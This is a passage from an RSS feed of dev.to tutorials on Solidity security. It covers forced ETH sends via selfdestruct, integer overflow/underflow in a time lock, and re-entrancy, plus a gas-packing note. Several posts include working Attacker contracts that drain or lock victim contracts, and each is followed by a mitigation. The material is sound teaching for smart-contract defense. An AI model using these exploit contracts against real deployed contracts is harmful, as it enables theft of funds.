&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now consider the following scenario:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Contract balance has reached 3 ether, but some hacker force-sends extra ETH to CrowdFund contract address. &lt;/li&gt;
&lt;li&gt;Now contract balance &amp;gt; fundLimit, hence &lt;code&gt;require(address(this).balance == fundLimit, "Fund limit not reached yet");&lt;/code&gt; from the &lt;code&gt;sendFunds()&lt;/code&gt; function will fail and not let anyone send the collected funds to required receiver.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hope you got an idea about what exactly the vulnerability is.&lt;/p&gt;

&lt;p&gt;Let's see the attacker contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker{
    fallback() external payable {

    }

    function attack(address _crowdFund) external {
        selfdestruct(payable(_crowdFund));
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Till now we understood what exactly this vulnerability is and how hackers can take advantage of it. Let's now see how to avoid such hacks.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;one solution is to change &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;require(address(this).balance == fundLimit, "Fund limit not reached yet");&lt;/code&gt; to &lt;/p&gt;

&lt;p&gt;&lt;code&gt;require(address(this).balance &amp;gt;= fundLimit, "Fund limit not reached yet");&lt;/code&gt; in &lt;code&gt;sendFunds()&lt;/code&gt; function of &lt;code&gt;Crowdfund&lt;/code&gt; contract.&lt;/p&gt;

&lt;p&gt;But what if that's an important condition for some application?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;better solution is to avoid using &lt;code&gt;address(this)&lt;/code&gt; to track funds&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's see the following contract to understand this better:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract CrowdFund_safe{
    uint fundLimit = 3 ether;
    bool contractOpen = true;
    uint balance = 0;

    function donate() external payable { // for others to donate eth to this contract
        require(contractOpen, "Contract has stopped recieving funds");
        require(balance + msg.value &amp;lt;= fundLimit, "Can't send specified amount");
        balance += msg.value;
    }

    function getBalance() external view returns(uint) { // to get current balance of this contract
        return address(this).balance;
    } 

    function sendFunds() external { // to send all collected funds
        require(contractOpen, "Contract has stopped recieving funds");
        require(balance == fundLimit, "Fund limit not reached yet");
        contractOpen = false; // contract closed
        payable(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB)).transfer(balance);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now even if hacker force-sends ETH to this contract, it won't change the &lt;code&gt;balance&lt;/code&gt; state variable, hence this won't affect any conditions in the contract.&lt;br&gt;
Hence the contract is safe from such attacks.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Force Send ETH - 1</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Sat, 14 May 2022 20:18:30 +0000</pubDate>
      <link>https://dev.to/rushanksavant/force-send-eth-1-2on1</link>
      <guid>https://dev.to/rushanksavant/force-send-eth-1-2on1</guid>
      <description>&lt;p&gt;This vulnerability is due to a famous solidity functionality:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;selfdestruct(payable(addressThat))&lt;/code&gt;, this is used to send all the ETH present in a contract to another contract at addressThat. &lt;code&gt;selfdestruct&lt;/code&gt; is operation at EVM level which clears all data from the contract and frees up space on the blockchain.&lt;/p&gt;

&lt;p&gt;It is also quite cheaper than &lt;code&gt;addressThat.send(this.balance)&lt;/code&gt; to send all eth to some other contract.&lt;/p&gt;

&lt;p&gt;Let's see this with an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract dontWant { // no payable function, hence can't recieve eth
    function something() external pure returns(uint) {
        return 1;
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker {
    receive() external payable { // we will send ether to this contract

    }

    function attack(address _dontWant) payable external { // this contract will forecfully send all ether to dontWant
        selfdestruct(payable(_dontWant));
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we send some ETH to &lt;code&gt;Attacker&lt;/code&gt; contract and call &lt;code&gt;attack()&lt;/code&gt; function, &lt;code&gt;dontWant&lt;/code&gt; recieves ETH.&lt;/p&gt;

&lt;p&gt;Any contract can send ETH to any other contract (even if receiver contract has no receive/fallback function) using &lt;code&gt;selfdestruct&lt;/code&gt;. &lt;br&gt;
But why is this a vulnerability in the first place? What's wrong in recieving free ETH? &lt;br&gt;
You will get answers these in the next post (&lt;a href="https://dev.to/rushanksavant/force-send-eth-2-5b1l"&gt;Force Send ETH - 2&lt;/a&gt;)&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Arithmetic overflow/underflow</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Sat, 14 May 2022 19:52:53 +0000</pubDate>
      <link>https://dev.to/rushanksavant/arithmetic-overflowunderflow-2iee</link>
      <guid>https://dev.to/rushanksavant/arithmetic-overflowunderflow-2iee</guid>
      <description>&lt;p&gt;As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.&lt;/p&gt;

&lt;p&gt;First let us understand what underflow/overflow is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0 &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eg: uint var1 = 2**256 - 1  &lt;br&gt;&lt;/p&gt;

&lt;p&gt;var1 + 1 will be 0 &lt;br&gt;&lt;br&gt;
  var1 + 2 will be 1 &lt;br&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1) 
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eg: uint var2 = 0&lt;br&gt;&lt;/p&gt;

&lt;p&gt;var2 -1 = 2*&lt;em&gt;256 -1&lt;br&gt;&lt;br&gt;
  var2 -2 = 2&lt;/em&gt;*256 -2&lt;br&gt;&lt;/p&gt;

&lt;p&gt;Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract TimeLock {
    mapping (address =&amp;gt; uint) public balances;
    mapping (address =&amp;gt; uint) public lockTime;

    function deposit() external payable{ // to deposit
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] += block.timestamp + 1 weeks;
    }

    function withdraw() external { // to withdraw
        uint bal = balances[msg.sender]; 
        require(bal &amp;gt; 0, "No balance to withdraw");
        require(lockTime[msg.sender] &amp;lt;= block.timestamp, "Time left yet");

        balances[msg.sender] = 0; // updating before sending, to avoid reentrancy

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Send ETH failed");
    }

    function increaseTimeLimit(uint _seconds) external { // to increase lock time
        lockTime[msg.sender] += _seconds;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow &lt;code&gt;lockTime[msg.sender]&lt;/code&gt;. Once this is done, &lt;code&gt;require(lockTime[msg.sender] &amp;lt;= block.timestamp, "Time left yet");&lt;/code&gt; in &lt;code&gt;withdraw()&lt;/code&gt; function will pass (because &lt;code&gt;lockTime[msg.sender]&lt;/code&gt; will be equal to a small number after overflow).&lt;/p&gt;

&lt;p&gt;Let's see how attacker can achieve this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker {
    TimeLock timeLockContract;
    receive() external payable{
    }

    constructor(address _timeLock) {
        timeLockContract = TimeLock(_timeLock);
    }

    function deposit() external payable {
        timeLockContract.deposit{value: msg.value}();
    }

    function attack() external {
        timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
        timeLockContract.withdraw();      
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the &lt;code&gt;attack()&lt;/code&gt; function, we are using underflow to get a very big number: &lt;code&gt;timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));&lt;/code&gt;. This big number is added to &lt;code&gt;lockTime[msg.sender]&lt;/code&gt; in TimeLock contract to cause overflow. And hence the withdraw is executed.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Re-Entrancy</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Fri, 13 May 2022 20:10:41 +0000</pubDate>
      <link>https://dev.to/rushanksavant/re-entrancy-44m9</link>
      <guid>https://dev.to/rushanksavant/re-entrancy-44m9</guid>
      <description>&lt;p&gt;External calls in a smart contract play a vital role on Ethereum blockchain, and these can be used by hackers to force a contract to execute further code. Attacks of this kind were used in the DAO hack.&lt;/p&gt;

&lt;p&gt;Let's understand this attack with the help of an example:&lt;/p&gt;

&lt;p&gt;Consider a victim contract that stores eth received from multiple people and allow them to withdraw back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Victim{
    mapping(address =&amp;gt; uint) public balances;

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint bal = balances[msg.sender];
        require(bal &amp;gt; 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's understand how this can be attacked to steal all funds from the Victim contract:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make a Attacker contract&lt;/li&gt;
&lt;li&gt;make a fallback function that calls for withdraw from Victim&lt;/li&gt;
&lt;li&gt;send some ETH to Victim contract &lt;/li&gt;
&lt;li&gt;Then withdraw it&lt;/li&gt;
&lt;li&gt;Now in the Victim contract, when following line will be executed from &lt;code&gt;withdraw()&lt;/code&gt; function, it will trigger the &lt;code&gt;fallback&lt;/code&gt; in the Attacker. This will lead to calling &lt;code&gt;withdraw&lt;/code&gt; again before complete execution of previous &lt;code&gt;withdraw()&lt;/code&gt;. This cycle will go on until the Victim contract is drained with funds &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;(bool sent,) = msg.sender.call{value: bal}("");&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This happens because &lt;code&gt;balances[msg.sender] =0;&lt;/code&gt; in &lt;code&gt;withdraw()&lt;/code&gt; is never executed due to multiple &lt;code&gt;withdraw&lt;/code&gt; calls. Hence Attacker contract address balance is never changed and the require condition always passes in cycle of &lt;code&gt;withdraw()&lt;/code&gt; functions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Phew, lot of words. Let's see the Attacker contract to understand better:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;interface IVictim {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVictim public victimContract;
    constructor(address _victimContract) {
        victimContract = IVictim(_victimContract);
    }

    fallback() external payable {
        if (address(victimContract).balance &amp;gt; 0) {
        victimContract.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value &amp;gt;= 1 ether, "&amp;lt; 1 ETH");
        victimContract.deposit{value: 1 ether}();
        victimContract.withdraw();
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you understood the stuff above (if I delivered it well), then you might be able to come up with a solution to stop attackers. If not, no worries, following contract will help you understand it better.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract VictimGaurded{
    mapping(address =&amp;gt; uint) public balances;
    bool internal lock;

    modifier ReentrancyGaurd() {
        require(!lock, "Bad luck Attacker!");
        lock = true;
        _;
        lock = false;
    }

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external ReentrancyGaurd {
        uint bal = balances[msg.sender];
        require(bal &amp;gt; 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The basic idea is to set a condition for 2nd function call to fail if previous call in not executed completely.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;in the first call, it checks the lock:

&lt;ul&gt;
&lt;li&gt;if false, it changes lock to true and allow further code execution&lt;/li&gt;
&lt;li&gt;if true, this means there is a previous call which is not yet executed completely. Hence throws an error.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;There is also a simpler way, if we just update the balance before sending eth in the &lt;code&gt;withdraw()&lt;/code&gt; function, re-entracy will fail.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Variable sequence - 2</title>
      <dc:creator>Rushank Savant</dc:creator>
      <pubDate>Fri, 13 May 2022 15:18:37 +0000</pubDate>
      <link>https://dev.to/rushanksavant/variable-sequence-2-41c1</link>
      <guid>https://dev.to/rushanksavant/variable-sequence-2-41c1</guid>
      <description>&lt;p&gt;We previously saw in &lt;a href="https://dev.to/rushanksavant/variable-sequence-organization-8k1"&gt;Variable sequence organization&lt;/a&gt;, that fitting multiple variables in single slot saves gas on execution.&lt;/p&gt;

&lt;p&gt;But there is an exception to this case. &lt;br&gt;
Lets just try to recall our previous observations, consider following contracts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract varSequence2_1{
    uint var1;
    uint var2;
    uint var3;

    function updateVar(uint num) external {
        var1 = num;
        var2 = num;
        var3 = num;
    }

}

contract varSequence2_2{
    uint8 var1;
    uint8 var2;
    uint8 var3;

    function updateVar(uint8 num) external {
        var1 = num;
        var2 = num;
        var3 = num;
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which contract will cost us more gas on &lt;code&gt;updateVar&lt;/code&gt; function execution? If you guessed &lt;code&gt;varSequence2_1&lt;/code&gt; then you are right. This is similar to what we saw in &lt;a href="https://dev.to/rushanksavant/variable-sequence-organization-8k1"&gt;Variable sequence organization&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now, consider the following contracts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract varSequence2_1{
    uint var1;
    uint var2;
    uint var3;

    function updateVar(uint num) external {
        var1 = num;
    }

}

contract varSequence2_2{
    uint8 var1;
    uint8 var2;
    uint8 var3;

    function updateVar(uint8 num) external {
        var1 = num;
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which contract do you think will cost us more gas on &lt;code&gt;updateVar&lt;/code&gt; function execution now? It will be &lt;strong&gt;varSequence2_2&lt;/strong&gt;. But why so? &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This is observed because the opcodes increase when you have to find a particular element and mask it out of a storage slot. And hence there is an increase in gas.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>gasoptimization</category>
      <category>bestpractice</category>
    </item>
  </channel>
</rss>
